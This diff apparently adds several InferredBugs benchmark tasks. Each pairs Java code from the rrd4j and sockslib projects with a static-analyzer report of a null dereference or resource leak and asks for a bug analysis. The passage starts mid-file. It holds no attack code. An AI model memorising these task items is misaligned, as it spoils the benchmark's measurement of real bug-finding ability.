+                } catch (IOException e) {
+                    capacity.release();
+                    throw e;
+                }
+            }
+            ref.count++;
+            return ref.rrdDb;
+        } finally {
+            passNext(ACTION.SWAP, ref);
+        }
+    }
+
+    /**
+     * Requests a RrdDb reference for the given RRD file definition object.<p>
+     * <ul>
+     * <li>If the file with the path specified in the RrdDef object is already open,
+     * the method blocks until the file is closed.
+     * <li>If the file is not already open and the number of already open RRD files is less than
+     * {@link #INITIAL_CAPACITY}, a new RRD file will be created and a its RrdDb reference will be returned.
+     * If the file is not already open and the number of already open RRD files is equal to
+     * {@link #INITIAL_CAPACITY}, the method blocks until some RRD file is closed.
+     * </ul>
+     *
+     * @param rrdDef Definition of the RRD file to be created
+     * @return Reference to the newly created RRD file
+     * @throws java.io.IOException Thrown in case of I/O error
+     */
+    public RrdDb requestRrdDb(RrdDef rrdDef) throws IOException {
+        RrdEntry ref = null;
+        try {
+            do {
+                ref = getEntry(rrdDef.getPath(), true);
+                if(ref.count != 0) {
+                    //Not empty, give it back, but wait for signal
+                    passNext(ACTION.SWAP, ref);                
+                    ref.waitempty.await();
+                    // ref is not a real reference (not replaced by a placeholder
+                    // So must try a get entry before carry on
+                    ref = null; //might be checked by the catch
+                    continue;
+                }
+            } while(ref == null || ref.count != 0);
+        } catch (InterruptedException e) {
+            if(ref != null) {
+                passNext(ACTION.SWAP, ref);                
+            }
+            throw new RuntimeException("request interrupted for new rrdDef " + rrdDef.getPath(), e);
+        }
+        try {
+            ref.rrdDb = new RrdDb(rrdDef);
+            ref.count = 1;
+            capacity.acquire();
+            return ref.rrdDb;
+        } catch (InterruptedException e) {
+            throw new RuntimeException("request interrupted for new rrdDef " + rrdDef.getPath(), e);
+        } finally {
+            passNext(ACTION.SWAP, ref);
+        }
+    }
+
+    /**
+     * Requests a RrdDb reference for the given path. The file will be created from
+     * external data (from XML dump, RRD file or RRDTool's binary RRD file).<p>
+     * <ul>
+     * <li>If the file with the path specified is already open,
+     * the method blocks until the file is closed.
+     * <li>If the file is not already open and the number of already open RRD files is less than
+     * {@link #INITIAL_CAPACITY}, a new RRD file will be created and a its RrdDb reference will be returned.
+     * If the file is not already open and the number of already open RRD files is equal to
+     * {@link #INITIAL_CAPACITY}, the method blocks until some RRD file is closed.
+     * </ul>
+     *
+     * @param path       Path to RRD file which should be created
+     * @param sourcePath Path to external data which is to be converted to Rrd4j's native RRD file format
+     * @return Reference to the newly created RRD file
+     * @throws java.io.IOException Thrown in case of I/O error
+     */
+    public RrdDb requestRrdDb(String path, String sourcePath)
+            throws IOException {
+        RrdEntry ref = null;
+        try {
+            do {
+                ref = getEntry(path, true);
+                if(ref.count != 0) {
+                    //Not empty, give it back, but wait for signal
+                    passNext(ACTION.SWAP, ref);                
+                    ref.waitempty.await();
+                    // ref is not a real reference (not replaced by a placeholder
+                    // So must try a get entry before carry on
+                    ref = null; //might be checked by the catch
+                    continue;
+                }
+            } while(ref.count != 0);
+        } catch (InterruptedException e) {
+            if(ref != null) {
+                passNext(ACTION.SWAP, ref);                
+            }
+            throw new RuntimeException("request interrupted for new rrd " + path, e);
+        }
+
+        try {
+            ref.rrdDb = new RrdDb(path, sourcePath);
+            ref.count = 1;
+            capacity.acquire();
+            return ref.rrdDb;
+        } catch (InterruptedException e) {
+            throw new RuntimeException("request interrupted for new rrd " + path, e);
+        } finally {
+            passNext(ACTION.SWAP, ref);
+        }
+    }
+
+    /**
+     * Sets the maximum number of simultaneously open RRD files.
+     *
+     * @param newCapacity Maximum number of simultaneously open RRD files.
+     */
+    public void setCapacity(int newCapacity) {
+        int available = capacity.drainPermits();
+        if (available != maxCapacity) {
+            capacity.release(available);
+            throw new RuntimeException("Can only be done on a empty pool");
+        }
+        else {
+            capacity = new Semaphore(newCapacity, true);
+        }
+        maxCapacity = newCapacity;
+    }
+
+    /**
+     * Returns the maximum number of simultaneously open RRD files.
+     *
+     * @return maximum number of simultaneously open RRD files
+     */
+    public int getCapacity() {
+        return maxCapacity;
+    }
+
+    /**
+     * Returns the number of usage for a RRD.
+     *
+     * @param rrdDb RrdDb reference for which informations is needed.
+     * @return the number of request for this rrd
+     * @throws java.io.IOException if any.
+     */
+    public int getOpenCount(RrdDb rrdDb) throws IOException {
+        return getOpenCount(rrdDb.getPath());
+    }
+
+    /**
+     * Returns the number of usage for a RRD.
+     *
+     * @param path RRD file for which informations is needed.
+     * @return the number of request for this file
+     * @throws java.io.IOException if any.
+     */
+    public int getOpenCount(String path) throws IOException {
+        RrdEntry ref = null;
+        try {
+            ref = getEntry(path, false);
+            if(ref == null)
+                return 0;
+            else {
+                return ref.count;
+            }
+        } catch (InterruptedException e) {
+            throw new RuntimeException("getOpenCount interrupted", e);
+        } finally {
+            if(ref != null) {
+                passNext(ACTION.SWAP, ref);
+            }
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `ref` last assigned on line 313 could be null and is dereferenced at line 316.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+RrdDb RrdDbPool.requestRrdDb(String,String)
+
+### Procedure Id:
+org.rrd4j.core.RrdDbPool.requestRrdDb(java.lang.String,java.lang.String):org.rrd4j.core.RrdDb.7f7d8a4f7d845eccf1a1d7e6187e7f96
+
+### File:
+src/main/java/org/rrd4j/core/RrdDbPool.java
+
+### Key:
+RrdDbPool.java|requestRrdDb|NULL_DEREFERENCE
+
+### Node Key:
+3df05d068ed6e5a593b8c0e2733790a3
+
+### Hash:
+5ca623bcd4324999c70d4a099742a39e
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6803/instruction.md b/inferredbugs-6803/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2c18622b79c7b3bc3c6741443b09e0c65a3197a4
--- /dev/null
+++ b/inferredbugs-6803/instruction.md
@@ -0,0 +1,399 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rrd4j
+**Bug ID:** 28
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*******************************************************************************
+ * Copyright (c) 2011 The OpenNMS Group, Inc.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ *******************************************************************************/
+package org.rrd4j.graph;
+
+import static org.easymock.EasyMock.anyInt;
+import static org.easymock.EasyMock.eq;
+import static org.easymock.EasyMock.gt;
+import static org.easymock.EasyMock.lt;
+import static org.easymock.EasyMock.same;
+
+import java.awt.FontFormatException;
+import java.io.IOException;
+import java.util.Date;
+
+import org.junit.Test;
+import org.rrd4j.core.RrdDb;
+import org.rrd4j.core.Sample;
+
+
+/**
+ * The form of these tests is fairly generic, using a Mock ImageWorker to see if the expected 
+ * sort of calls were made.  We generally don't check co-ordinates.  Rather, we check for a certain 
+ * number of major grid lines, with the right string labels, and a certain number of minor lines.
+ * Presumably if there are the right number of lines they'll probably be around the right locations
+ * This will test the actual complex behaviour of ValueAxis which is working out how many lines to
+ * draw and at what major values.  Subtleties like the actual pixel values are generally less important.  
+ * If we find a specific bug with placement of the grid lines, then we can writes tests to check
+ * for specific co-ordinates, knowing exactly why we're checking
+ * 
+ * @author cmiskell
+ *
+ */
+
+public class ValueAxisTest extends AxisTester<ValueAxis> {
+
+    @Override
+    void setupGraphDef() {
+    }
+
+    @Override
+    ValueAxis makeAxis(RrdGraph rrdGraph) {
+        return new ValueAxis(rrdGraph, imageWorker);
+    }
+
+    public void checkForBasicGraph() {
+        expectMajorGridLine(" 0.0");
+
+        expectMinorGridLines(4);
+
+        expectMajorGridLine(" 0.5");
+
+        expectMinorGridLines(4);
+
+        expectMajorGridLine(" 1.0");
+
+        run();
+    }
+
+    private void expectMajorGridLine(String label) {
+        //We don't care what y value is used for any of the gridlines; the fact that they're there 
+        // is good enough.  Our expectations for any given graph will be a certain set of grid lines
+        // in a certain order, which pretty much implies y values.  If we find a bug where that 
+        // assumption is wrong, a more specific test can be written to find that.
+        //The x-values of the lines are important though, to be sure they've been drawn correctly
+
+        //Note the use of "same" for the strokes; in RrdGraphConstants, these are both BasicStroke(1)
+        // so we want to be sure exactly the same object was used
+
+        int quarterX = imageParameters.xgif/4;
+        int midX = imageParameters.xgif/2;
+        int threeQuartersX = quarterX*3;
+
+        imageWorker.drawString(eq(label), lt(quarterX), anyInt(), eq(graphDef.getFont(RrdGraphDef.FONTTAG_AXIS)), eq(RrdGraphDef.DEFAULT_FONT_COLOR));
+        //Horizontal tick on the left
+        imageWorker.drawLine(lt(quarterX), anyInt(), lt(midX), anyInt(), eq(RrdGraphDef.DEFAULT_MGRID_COLOR), same(RrdGraphDef.TICK_STROKE));
+        //Horizontal tick on the right
+        imageWorker.drawLine(gt(threeQuartersX), anyInt(), gt(threeQuartersX), anyInt(), eq(RrdGraphDef.DEFAULT_MGRID_COLOR), same(RrdGraphDef.TICK_STROKE));
+        //Line in between the ticks (but overlapping a bit)
+        imageWorker.drawLine(lt(quarterX), anyInt(), gt(midX),anyInt(), eq(RrdGraphDef.DEFAULT_MGRID_COLOR), same(RrdGraphDef.GRID_STROKE));
+
+    }
+
+    private void expectMinorGridLines(int count) {
+        //Note the use of "same" for the strokes; in RrdGraphConstants, these are both BasicStroke(1)
+        // so we want to be sure exactly the same object was used
+
+        int quarterX = imageParameters.xgif/4;
+        int midX = quarterX*2;
+        int threeQuartersX = quarterX*3;
+
+        for(int i=0; i<count; i++) {
+            imageWorker.drawLine(lt(quarterX), anyInt(), lt(quarterX), anyInt(), eq(RrdGraphDef.DEFAULT_GRID_COLOR), same(RrdGraphDef.TICK_STROKE));
+            imageWorker.drawLine(gt(threeQuartersX), anyInt(), gt(threeQuartersX), anyInt(), eq(RrdGraphDef.DEFAULT_GRID_COLOR), same(RrdGraphDef.TICK_STROKE));
+            imageWorker.drawLine(lt(quarterX), anyInt(), gt(midX), anyInt(), eq(RrdGraphDef.DEFAULT_GRID_COLOR), same(RrdGraphDef.GRID_STROKE));
+        }
+    }
+
+    @Test
+    public void testBasicEmptyRrd() throws IOException, FontFormatException {
+        createGaugeRrd(100);
+        prepareGraph();
+        checkForBasicGraph();
+    }
+
+    @Test
+    public void testOneEntryInRrd() throws IOException, FontFormatException {
+        createGaugeRrd(100);
+        RrdDb rrd = new RrdDb(jrbFileName);
+        long nowSeconds = new Date().getTime();
+        long fiveMinutesAgo = nowSeconds - (5 * 60);
+        Sample sample = rrd.createSample();
+        sample.setAndUpdate(fiveMinutesAgo+":10");
+        rrd.close();
+        prepareGraph();
+        checkForBasicGraph();
+    }
+
+    @Test
+    public void testTwoEntriesInRrd() throws IOException, FontFormatException {
+        createGaugeRrd(100);
+        RrdDb rrd = new RrdDb(jrbFileName);
+
+        for(int i=0; i<2; i++) {
+            long timestamp = startTime + 1 + (i * 60);
+            Sample sample = rrd.createSample();
+            sample.setAndUpdate(timestamp+":100");
+        }
+        rrd.close();
+        prepareGraph();
+
+        expectMajorGridLine("  90");
+        expectMinorGridLines(1);
+        expectMajorGridLine(" 100");
+        expectMinorGridLines(1);
+        expectMajorGridLine(" 110");
+        expectMinorGridLines(1);
+        expectMajorGridLine(" 120");
+        expectMinorGridLines(1);
+
+        run();
+
+    }
+
+    @Test
+    public void testEntriesZeroTo100InRrd() throws IOException, FontFormatException {
+        createGaugeRrd(105); //Make sure all entries are recorded (5 is just a buffer for consolidation)
+        RrdDb rrd = new RrdDb(jrbFileName);
+
+        for(int i=0; i<100; i++) {
+            long timestamp = startTime + 1 + (i * 60);
+            Sample sample = rrd.createSample();
+            sample.setAndUpdate(timestamp + ":" + i);
+        }
+        rrd.close();
+        prepareGraph();
+        expectMinorGridLines(4);
+        expectMajorGridLine("  50");
+        expectMinorGridLines(4);
+        expectMajorGridLine(" 100");
+
+        run();
+
+    }
+
+    @Test
+    public void testEntriesNeg50To100InRrd() throws IOException, FontFormatException {
+        createGaugeRrd(155);
+        RrdDb rrd = new RrdDb(jrbFileName);
+
+        for(int i=0; i<150; i++) {
+            long timestamp = startTime + 1 + (i * 60);
+            Sample sample = rrd.createSample();
+            sample.setAndUpdate(timestamp + ":" + (i -50));
+        }
+        rrd.close();
+        prepareGraph();
+        expectMajorGridLine(" -50");
+        expectMinorGridLines(4);
+        expectMajorGridLine("   0");
+        expectMinorGridLines(4);
+        expectMajorGridLine("  50");
+        expectMinorGridLines(4);
+        expectMajorGridLine(" 100");
+
+        run();
+
+    }
+
+    @Test
+    public void testEntriesNeg55To105InRrd() throws IOException, FontFormatException {
+        createGaugeRrd(165);
+        RrdDb rrd = new RrdDb(jrbFileName);
+
+        for(int i=0; i<160; i++) {
+            long timestamp = startTime + 1 + (i * 60);
+            Sample sample = rrd.createSample();
+            sample.setAndUpdate(timestamp + ":" + (i -55));
+        }
+        rrd.close();
+        prepareGraph();
+        /**
+         * Prior to JRB-12 fix, this was the behaviour.  Note the lack of a decent negative label
+                expectMinorGridLines(3);
+                expectMajorGridLine("   0");
+                expectMinorGridLines(4);
+                expectMajorGridLine(" 100");
+                expectMinorGridLines(1);
+         */
+        //New behaviour is better; no minor grid lines, which is interesting, but much better representation
+        expectMajorGridLine(" -50");
+        expectMajorGridLine("   0");
+        expectMajorGridLine("  50");
+        expectMajorGridLine(" 100");
+
+        run();
+
+    }
+
+    @Test
+    public void testEntriesNeg50To0InRrd() throws IOException, FontFormatException {
+        createGaugeRrd(100);
+        RrdDb rrd = new RrdDb(jrbFileName);
+
+        for(int i=0; i<50; i++) {
+            long timestamp = startTime + 1 + (i * 60);
+            Sample sample = rrd.createSample();
+            sample.setAndUpdate(timestamp + ":" + (i -50));
+        }
+        rrd.close();
+        prepareGraph();
+        expectMinorGridLines(2);
+        expectMajorGridLine(" -40");
+        expectMinorGridLines(3);
+        expectMajorGridLine(" -20");
+        expectMinorGridLines(3);
+
+        run();
+
+    }
+
+    /**
+     * Test specifically for JRB-12 (http://issues.opennms.org/browse/JRB-12) 
+     * In the original, when the values go from -80 to 90 on a default height graph 
+     * (i.e. limited pixels available for X-axis labelling),ValueAxis gets all confused 
+     * and decides it can only display "0" on the X-axis  (there's not enough pixels
+     * for more labels, and none of the Y-label factorings available work well enough
+     * @throws FontFormatException 
+     */
+    @Test
+    public void testEntriesNeg80To90InRrd() throws IOException, FontFormatException {
+        createGaugeRrd(180);
+        RrdDb rrd = new RrdDb(jrbFileName);
+
+        for(int i=0; i<170; i++) {
+            long timestamp = startTime + 1 + (i * 60);
+            Sample sample = rrd.createSample();
+            sample.setAndUpdate(timestamp + ":" + (i -80));
+        }
+        rrd.close();
+        prepareGraph();
+        /**
+         * Original behaviour; a single major X-axis label (0) only.
+                expectMinorGridLines(4);
+                expectMajorGridLine("   0");
+                expectMinorGridLines(4);
+         */
+        //New behaviour post JRB-12 fix:
+        expectMajorGridLine(" -50");
+        expectMajorGridLine("   0");
+        expectMajorGridLine("  50");
+
+        run();
+
+    }
+
+    /**
+     * Test specifically for JRB-12 (http://issues.opennms.org/browse/JRB-12)
+     * Related to testEntriesNeg80To90InRrd, except in the original code
+     * this produced sensible labelling.  Implemented to check that the 
+     * changes don't break the sanity.
+     * @throws FontFormatException 
+     */
+    @Test
+    public void testEntriesNeg80To80InRrd() throws IOException, FontFormatException {
+        createGaugeRrd(180);
+        RrdDb rrd = new RrdDb(jrbFileName);
+
+        for(int i=0; i<160; i++) {
+            long timestamp = startTime + 1 + (i * 60);
+            Sample sample = rrd.createSample();
+            sample.setAndUpdate(timestamp + ":" + (i -80));
+        }
+        rrd.close();
+        prepareGraph();
+
+        // Original
+        expectMinorGridLines(3);
+        expectMajorGridLine(" -50");
+        expectMinorGridLines(4);
+        expectMajorGridLine("   0");
+        expectMinorGridLines(4);
+        expectMajorGridLine("  50");
+        expectMinorGridLines(3);
+
+        run();
+
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.rrd4j.core.RrdDb` acquired to `rrd` by call to `RrdDb(...)` at line 123 is not released after line 131.
+**Note**: potential exception at line 127
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ValueAxisTest.testOneEntryInRrd()
+
+### Procedure Id:
+org.rrd4j.graph.ValueAxisTest.testOneEntryInRrd():void.95c4024984cdcfd4350aeffaa2b7b132
+
+### File:
+src/test/java/org/rrd4j/graph/ValueAxisTest.java
+
+### Key:
+ValueAxisTest.java|testOneEntryInRrd|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+579ca82e1053430db95b65db610921e3
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6804/instruction.md b/inferredbugs-6804/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f98a4aa64e4ab83fcdee9bec935decfda4ddb82a
--- /dev/null
+++ b/inferredbugs-6804/instruction.md
@@ -0,0 +1,151 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rrd4j
+**Bug ID:** 17
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.rrd4j.core;
+
+import java.io.DataInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
+
+import org.junit.Assert;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TemporaryFolder;
+import org.rrd4j.core.RrdBackend;
+import org.rrd4j.core.RrdBackendFactory;
+import org.rrd4j.core.RrdRandomAccessFileBackendFactory;
+
+public class RrdRandomAccessFileBackendTest extends BackendTester {
+
+    @Rule
+    public TemporaryFolder testFolder = new TemporaryFolder();
+
+    @Test
+    public void testBackendFactoryWithExecutor() throws IOException {
+        RrdRandomAccessFileBackendFactory factory = (RrdRandomAccessFileBackendFactory) RrdBackendFactory.getFactory("FILE");
+        ScheduledExecutorService executor = Executors.newScheduledThreadPool(1);
+        File rrdfile = testFolder.newFile("testfile");
+        RrdBackend be = factory.open(rrdfile.getCanonicalPath(), false);
+
+        be.setLength(10);
+        be.writeDouble(0, 0);
+        be.close();
+        executor.shutdown();
+        DataInputStream is = new DataInputStream(new FileInputStream(rrdfile));
+        Double d = is.readDouble();
+        Assert.assertEquals("write to random access file failed", 0, d, 1e-10);
+        is.close();
+    }
+
+    @Test
+    public void testBackendFactory() throws IOException {
+        RrdRandomAccessFileBackendFactory factory = (RrdRandomAccessFileBackendFactory) RrdBackendFactory.getFactory("FILE");
+
+        File rrdfile = testFolder.newFile("testfile");
+        RrdBackend be = factory.open(rrdfile.getCanonicalPath(), false);
+
+        be.setLength(10);
+        be.writeDouble(0, 0);
+        be.close();
+        DataInputStream is = new DataInputStream(new FileInputStream(rrdfile));
+        Double d = is.readDouble();
+        Assert.assertEquals("write to random access file failed", 0, d, 1e-10);
+        is.close();
+    }
+
+    @Test
+    public void testRead1() throws IOException {
+        super.testRead1(new RrdRandomAccessFileBackendFactory());
+    }
+
+    @Test
+    public void testRead2() throws IOException {
+        super.testRead2(new RrdRandomAccessFileBackendFactory());
+    }
+
+    @Test(expected=InvalidRrdException.class)
+    public void testReadCorruptSignature() throws Exception {
+        super.testReadCorruptSignature(new RrdRandomAccessFileBackendFactory());
+    }
+
+    @Test(expected=InvalidRrdException.class)
+    public void testReadEmpty() throws Exception {
+        super.testReadEmpty(new RrdRandomAccessFileBackendFactory());
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.DataInputStream` acquired to `is` by call to `new()` at line 50 is not released after line 54.
+**Note**: potential exception at line 51
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RrdRandomAccessFileBackendTest.testBackendFactory()
+
+### Procedure Id:
+org.rrd4j.core.RrdRandomAccessFileBackendTest.testBackendFactory():void.0d98922e14da66a782cc74bcc64f8061
+
+### File:
+src/test/java/org/rrd4j/core/RrdRandomAccessFileBackendTest.java
+
+### Key:
+RrdRandomAccessFileBackendTest.java|testBackendFactory|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+79b570c90fe216ee8d2115dae3aa2d26
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6805/instruction.md b/inferredbugs-6805/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9c52dd9334db95bb378924a74422bb0087ac5a36
--- /dev/null
+++ b/inferredbugs-6805/instruction.md
@@ -0,0 +1,126 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rrd4j
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.rrd4j.core;
+
+import java.io.DataInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
+
+import junit.framework.Assert;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TemporaryFolder;
+
+public class RrdNioBackendTest {
+    @Rule
+    public TemporaryFolder testFolder = new TemporaryFolder();
+
+    @Test
+    public void testBackendFactoryWithExecutor() throws IOException {
+        RrdNioBackendFactory factory = (RrdNioBackendFactory) RrdBackendFactory.getFactory("NIO");
+        ScheduledExecutorService executor = Executors.newScheduledThreadPool(1);
+        factory.setSyncThreadPool(new RrdSyncThreadPool());
+        File rrdfile = testFolder.newFile("testfile");
+        RrdBackend be = factory.open(rrdfile.getCanonicalPath(), false);
+
+        be.setLength(10);
+        be.writeDouble(0, 0);
+        be.close();
+        executor.shutdown();
+        DataInputStream is = new DataInputStream(new FileInputStream(rrdfile));
+        Double d = is.readDouble();
+        Assert.assertEquals("write to NIO failed", 0, d, 1e-10);
+    }
+
+    @Test
+    public void testBackendFactory() throws IOException {
+        RrdNioBackendFactory factory = (RrdNioBackendFactory) RrdBackendFactory.getFactory("NIO");
+
+        File rrdfile = testFolder.newFile("testfile");
+        RrdBackend be = factory.open(rrdfile.getCanonicalPath(), false);
+
+        be.setLength(10);
+        be.writeDouble(0, 0);
+        be.close();
+        DataInputStream is = new DataInputStream(new FileInputStream(rrdfile));
+        Double d = is.readDouble();
+        Assert.assertEquals("write to NIO failed", 0, d, 1e-10);
+
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.DataInputStream` acquired to `is` by call to `new()` at line 32 is not released after line 33.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RrdNioBackendTest.testBackendFactoryWithExecutor()
+
+### Procedure Id:
+org.rrd4j.core.RrdNioBackendTest.testBackendFactoryWithExecutor():void.265a3a1b771d4dc14b91bdd3789f5921
+
+### File:
+src/test/java/org/rrd4j/core/RrdNioBackendTest.java
+
+### Key:
+RrdNioBackendTest.java|testBackendFactoryWithExecutor|RESOURCE_LEAK
+
+### Node Key:
+a0a09701532a90f811384aa246f63b0e
+
+### Hash:
+775f228dc9290dcb3e60b1e905834e85
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6832/instruction.md b/inferredbugs-6832/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..95a06f74d7c9f5c783cd1b0643d6d049b6daebc8
--- /dev/null
+++ b/inferredbugs-6832/instruction.md
@@ -0,0 +1,127 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sockslib
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2015-2025 the original author or authors.
+ * 
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ * 
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package fucksocks.test;
+
+import fucksocks.common.SSLConfiguration;
+import fucksocks.common.methods.NoAuthenticationRequiredMethod;
+import fucksocks.server.SSLSocksProxyServer;
+import fucksocks.server.Socks5Handler;
+import fucksocks.server.SocksProxyServer;
+import fucksocks.utils.Timer;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+
+/**
+ * The class <code>SSLBasedProxyServer</code> is a test class to start a SSL based SOCKS5 proxy
+ * server.
+ *
+ * @author Youchao Feng
+ * @version 1.0
+ * @since 1.0
+ */
+public class SSLBasedProxyServer {
+
+  private static final Logger logger = LoggerFactory.getLogger(SSLBasedProxyServer.class);
+
+  public static void main(String[] args) throws IOException {
+    Timer.open();
+    SSLConfiguration configuration = SSLConfiguration.loadClassPath("server-ssl.properties");
+    SocksProxyServer proxyServer = new SSLSocksProxyServer(Socks5Handler.class, configuration);
+    proxyServer.setBindPort(1081);
+    proxyServer.setSupportMethods(new NoAuthenticationRequiredMethod());
+    try {
+      proxyServer.start();
+    } catch (IOException e) {
+      logger.error(e.getMessage(), e);
+    }
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.net.ServerSocket` acquired by call to `start()` at line 47 is not released after line 47.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SSLBasedProxyServer.main(java.lang.String[])
+
+### Procedure Id:
+fucksocks.test.SSLBasedProxyServer.main(java.lang.String[]):void.56e3e74a6c60505397a1b21443875585
+
+### File:
+src/test/java/fucksocks/test/SSLBasedProxyServer.java
+
+### Key:
+SSLBasedProxyServer.java|main|RESOURCE_LEAK
+
+### Node Key:
+f65387f92aac9b561150293d56227830
+
+### Hash:
+9b1b15194177896b6db9a4a35531d051
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
